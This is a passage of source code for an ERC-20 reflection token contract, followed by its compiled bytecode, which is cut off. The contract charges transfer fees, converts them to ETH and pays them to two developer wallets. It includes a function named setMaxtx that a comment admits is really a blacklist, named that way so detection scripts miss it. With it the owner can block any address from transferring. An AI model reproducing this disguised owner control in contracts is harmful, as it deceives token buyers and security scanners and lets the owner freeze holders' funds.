_allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _redisfee = 3; //Bots mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _DevAddress; address payable private _DevAddress2; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _DevAddress = addr1; _DevAddress2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_DevAddress] = true; _isExcludedFromFee[_DevAddress2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 20000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 7; _redisfee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _DevAddress.transfer(amount.div(2)); _DevAddress2.transfer(amount.div(2)); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function removeStrictTxLimit(uint256 maxTxpc) external { require(_msgSender() == _DevAddress); require(maxTxpc > 0); _maxTxAmount = _tTotal.mul(maxTxpc).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function manualswap() external { require(_msgSender() == _DevAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _DevAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } /* This is actually a bot blacklist function, titled this in case bots are running scripts which detects this :D */ function setMaxtx(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610350578063afbaf2601461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b806370a08231146102a6578063715018a6146102e35780638da5cb5b146102fa57806395d89b411461032557610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780633512fde01461023d5780635932ead1146102665780636fc3eaec1461028f57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612de7565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612911565b61045e565b6040516101789190612dcc565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f69565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128be565b61048c565b6040516101e09190612dcc565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612824565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190612fde565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129f4565b61065e565b005b34801561027257600080fd5b5061028d6004803603810190610288919061299a565b61073d565b005b34801561029b57600080fd5b506102a46107ef565b005b3480156102b257600080fd5b506102cd60048036038101906102c89190612824565b610861565b6040516102da9190612f69565b60405180910390f35b3480156102ef57600080fd5b506102f86108b2565b005b34801561030657600080fd5b5061030f610a05565b60405161031c9190612cfe565b60405180910390f35b34801561033157600080fd5b5061033a610a2e565b6040516103479190612de7565b60405180910390f35b34801561035c57600080fd5b5061037760048036038101906103729190612911565b610a6b565b6040516103849190612dcc565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af9190612951565b610a89565b005b3480156103c257600080fd5b506103cb610bb3565b005b3480156103d957600080fd5b506103e2610c2d565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061287e565b611187565b6040516104189190612f69565b60405180910390f35b60606040518060400160405280600681526020017f50616e6565720000000000000000000000000000000000000000000000000000815250905090565b600061047261046b61120e565b8484611216565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104998484846113e1565b61055a846104a561120e565b610555856040518060600160405280602881526020016136bc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b61120e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba09092919063ffffffff16565b611216565b600190509392505050565b61056d61120e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612ea9565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661069f61120e565b73ffffffffffffffffffffffffffffffffffffffff16146106bf57600080fd5b600081116106cc57600080fd5b6106fb6127106106ed83670de0b6b3a7640000611c0490919063ffffffff16565b611c7f90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516107329190612f69565b60405180910390a150565b61074561120e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c990612ea9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661083061120e565b73ffffffffffffffffffffffffffffffffffffffff161461085057600080fd5b600047905061085e81611cc9565b50565b60006108ab600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc4565b9050919050565b6108ba61120e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610947576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093e90612ea9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f50414e4545520000000000000000000000000000000000000000000000000000815250905090565b6000610a7f610a7861120e565b84846113e1565b6001905092915050565b610a9161120e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1590612ea9565b60405180910390fd5b60005b8151811015610baf576001600a6000848481518110610b4357610b42613326565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba79061327f565b915050610b21565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bf461120e565b73ffffffffffffffffffffffffffffffffffffffff1614610c1457600080fd5b6000610c1f30610861565b9050610c2a81611e32565b50565b610c3561120e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb990612ea9565b60405180910390fd5b600f60149054906101000a900460ff1615610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990612f29565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610da130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611216565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de757600080fd5b505afa158015610dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1f9190612851565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8157600080fd5b505afa158015610e95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb99190612851565b6040518363ffffffff1660e01b8152600401610ed6929190612d19565b602060405180830381600087803b158015610ef057600080fd5b505af1158015610f04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f289190612851565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fb130610861565b600080610fbc610a05565b426040518863ffffffff1660e01b8152600401610fde96959493929190612d6b565b6060604051808303818588803b158015610ff757600080fd5b505af115801561100b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110309190612a21565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555066470de4df8200006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611131929190612d42565b602060405180830381600087803b15801561114b57600080fd5b505af115801561115f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118391906129c7565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612f09565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed90612e49565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113d49190612f69565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611451576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144890612ee9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890612e09565b60405180910390fd5b60008111611504576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fb90612ec9565b60405180910390fd5b61150c610a05565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561157a575061154a610a05565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611add57600f60179054906101000a900460ff16156117ad573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115fc57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116565750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116b05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117ac57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116f661120e565b73ffffffffffffffffffffffffffffffffffffffff16148061176c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175461120e565b73ffffffffffffffffffffffffffffffffffffffff16145b6117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290612f49565b60405180910390fd5b5b5b6010548111156117bc57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118605750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61186957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119145750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561196a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119825750600f60179054906101000a900460ff165b15611a235742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119d257600080fd5b6014426119df919061309f565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a2e30610861565b9050600f60159054906101000a900460ff16158015611a9b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ab35750600f60169054906101000a900460ff165b15611adb57611ac181611e32565b60004790506000811115611ad957611ad847611cc9565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b845750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b8e57600090505b611b9a848484846120ba565b50505050565b6000838311158290611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf9190612de7565b60405180910390fd5b5060008385611bf79190613180565b9050809150509392505050565b600080831415611c175760009050611c79565b60008284611c259190613126565b9050828482611c3491906130f5565b14611c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6b90612e89565b60405180910390fd5b809150505b92915050565b6000611cc183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120e7565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d19600284611c7f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d44573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d95600284611c7f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dc0573d6000803e3d6000fd5b5050565b6000600654821115611e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0290612e29565b60405180910390fd5b6000611e1561214a565b9050611e2a8184611c7f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e6a57611e69613355565b5b604051908082528060200260200182016040528015611e985781602001602082028036833780820191505090505b5090503081600081518110611eb057611eaf613326565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5257600080fd5b505afa158015611f66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f8a9190612851565b81600181518110611f9e57611f9d613326565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061200530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611216565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612069959493929190612f84565b600060405180830381600087803b15801561208357600080fd5b505af1158015612097573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b806120c8576120c7612175565b5b6120d38484846121a6565b806120e1576120e0612371565b5b50505050565b6000808311829061212e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121259190612de7565b60405180910390fd5b506000838561213d91906130f5565b9050809150509392505050565b6000806000612157612383565b9150915061216e8183611c7f90919063ffffffff16565b9250505090565b600060085414801561218957506000600954145b15612193576121a4565b600060088190555060006009819055505b565b6000806000806000806121b8876123e2565b95509550955095509550955061221686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122ab85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f7816124f2565b61230184836125af565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161235e9190612f69565b60405180910390a3505050505050505050565b60076008819055506003600981905550565b600080600060065490506000670de0b6b3a764000090506123b7670de0b6b3a7640000600654611c7f90919063ffffffff16565b8210156123d557600654670de0b6b3a76400009350935050506123de565b81819350935050505b9091565b60008060008060008060008060006123ff8a6008546009546125e9565b925092509250600061240f61214a565b905060008060006124228e87878761267f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061248c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ba0565b905092915050565b60008082846124a3919061309f565b9050838110156124e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124df90612e69565b60405180910390fd5b8091505092915050565b60006124fc61214a565b905060006125138284611c0490919063ffffffff16565b905061256781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125c48260065461244a90919063ffffffff16565b6006819055506125df8160075461249490919063ffffffff16565b6007819055505050565b6000806000806126156064612607888a611c0490919063ffffffff16565b611c7f90919063ffffffff16565b9050600061263f6064612631888b611c0490919063ffffffff16565b611c7f90919063ffffffff16565b905060006126688261265a858c61244a90919063ffffffff16565b61244a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126988589611c0490919063ffffffff16565b905060006126af8689611c0490919063ffffffff16565b905060006126c68789611c0490919063ffffffff16565b905060006126ef826126e1858761244a90919063ffffffff16565b61244a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061271b6127168461301e565b612ff9565b9050808382526020820190508285602086028201111561273e5761273d613389565b5b60005b8581101561276e57816127548882612778565b845260208401935060208301925050600181019050612741565b5050509392505050565b60008135905061278781613676565b92915050565b60008151905061279c81613676565b92915050565b600082601f8301126127b7576127b6613384565b5b81356127c7848260208601612708565b91505092915050565b6000813590506127df8161368d565b92915050565b6000815190506127f48161368d565b92915050565b600081359050612809816136a4565b92915050565b60008151905061281e816136a4565b92915050565b60006020828403121561283a57612839613393565b5b600061284884828501612778565b91505092915050565b60006020828403121561286757612866613393565b5b60006128758482850161278d565b91505092915050565b6000806040838503121561289557612894613393565b5b60006128a385828601612778565b92505060206128b485828601612778565b9150509250929050565b6000806000606084860312156128d7576128d6613393565b5b60006128e586828701612778565b93505060206128f686828701612778565b9250506040612907868287016127fa565b9150509250925092565b6000806040838503121561292857612927613393565b5b600061293685828601612778565b9250506020612947858286016127fa565b9150509250929050565b60006020828403121561296757612966613393565b5b600082013567ffffffffffffffff8111156129855761298461338e565b5b612991848285016127a2565b91505092915050565b6000602082840312156129b0576129af613393565b5b60006129be848285016127d0565b91505092915050565b6000602082840312156129dd576129dc613393565b5b60006129eb848285016127e5565b91505092915050565b600060208284031215612a0a57612a09613393565b5b6000612a18848285016127fa565b91505092915050565b600080600060608486031215612a3a57612a39613393565b5b6000612a488682870161280f565b9350506020612a598682870161280f565b9250506040612a6a8682870161280f565b9150509250925092565b6000612a808383612a8c565b60208301905092915050565b612a95816131b4565b82525050565b612aa4816131b4565b82525050565b6000612ab58261305a565b612abf818561307d565b9350612aca8361304a565b8060005b83811015612afb578151612ae28882612a74565b9750612aed83613070565b925050600181019050612ace565b5085935050505092915050565b612b11816131c6565b82525050565b612b2081613209565b82525050565b6000612b3182613065565b612b3b818561308e565b9350612b4b81856020860161321b565b612b5481613398565b840191505092915050565b6000612b6c60238361308e565b9150612b77826133a9565b604082019050919050565b6000612b8f602a8361308e565b9150612b9a826133f8565b604082019050919050565b6000612bb260228361308e565b9150612bbd82613447565b604082019050919050565b6000612bd5601b8361308e565b9150612be082613496565b602082019050919050565b6000612bf860218361308e565b9150612c03826134bf565b604082019050919050565b6000612c1b60208361308e565b9150612c268261350e565b602082019050919050565b6000612c3e60298361308e565b9150612c4982613537565b604082019050919050565b6000612c6160258361308e565b9150612c6c82613586565b604082019050919050565b6000612c8460248361308e565b9150612c8f826135d5565b604082019050919050565b6000612ca760178361308e565b9150612cb282613624565b602082019050919050565b6000612cca60118361308e565b9150612cd58261364d565b602082019050919050565b612ce9816131f2565b82525050565b612cf8816131fc565b82525050565b6000602082019050612d136000830184612a9b565b92915050565b6000604082019050612d2e6000830185612a9b565b612d3b6020830184612a9b565b9392505050565b6000604082019050612d576000830185612a9b565b612d646020830184612ce0565b9392505050565b600060c082019050612d806000830189612a9b565b612d8d6020830188612ce0565b612d9a6040830187612b17565b612da76060830186612b17565b612db46080830185612a9b565b612dc160a0830184612ce0565b979650505050505050565b6000602082019050612de16000830184612b08565b92915050565b60006020820190508181036000830152612e018184612b26565b905092915050565b60006020820190508181036000830152612e2281612b5f565b9050919050565b60006020820190508181036000830152612e4281612b82565b9050919050565b60006020820190508181036000830152612e6281612ba5565b9050919050565b60006020820190508181036000830152612e8281612bc8565b9050919050565b60006020820190508181036000830152612ea281612beb565b9050919050565b60006020820190508181036000830152612ec281612c0e565b9050919050565b60006020820190508181036000830152612ee281612c31565b9050919050565b60006020820190508181036000830152612f0281612c54565b9050919050565b60006020820190508181036000830152612f2281612c77565b9050919050565b60006020820190508181036000830152612f4281612c9a565b9050919050565b60006020820190508181036000830152612f6281612cbd565b9050919050565b6000602082019050612f7e6000830184612ce0565b92915050565b600060a082019050612f996000830188612ce0565b612fa66020830187612b17565b8181036040830152612fb88186612aaa565b9050612fc76060830185612a9b565b612fd46080830184612ce0565b9695505050505050565b600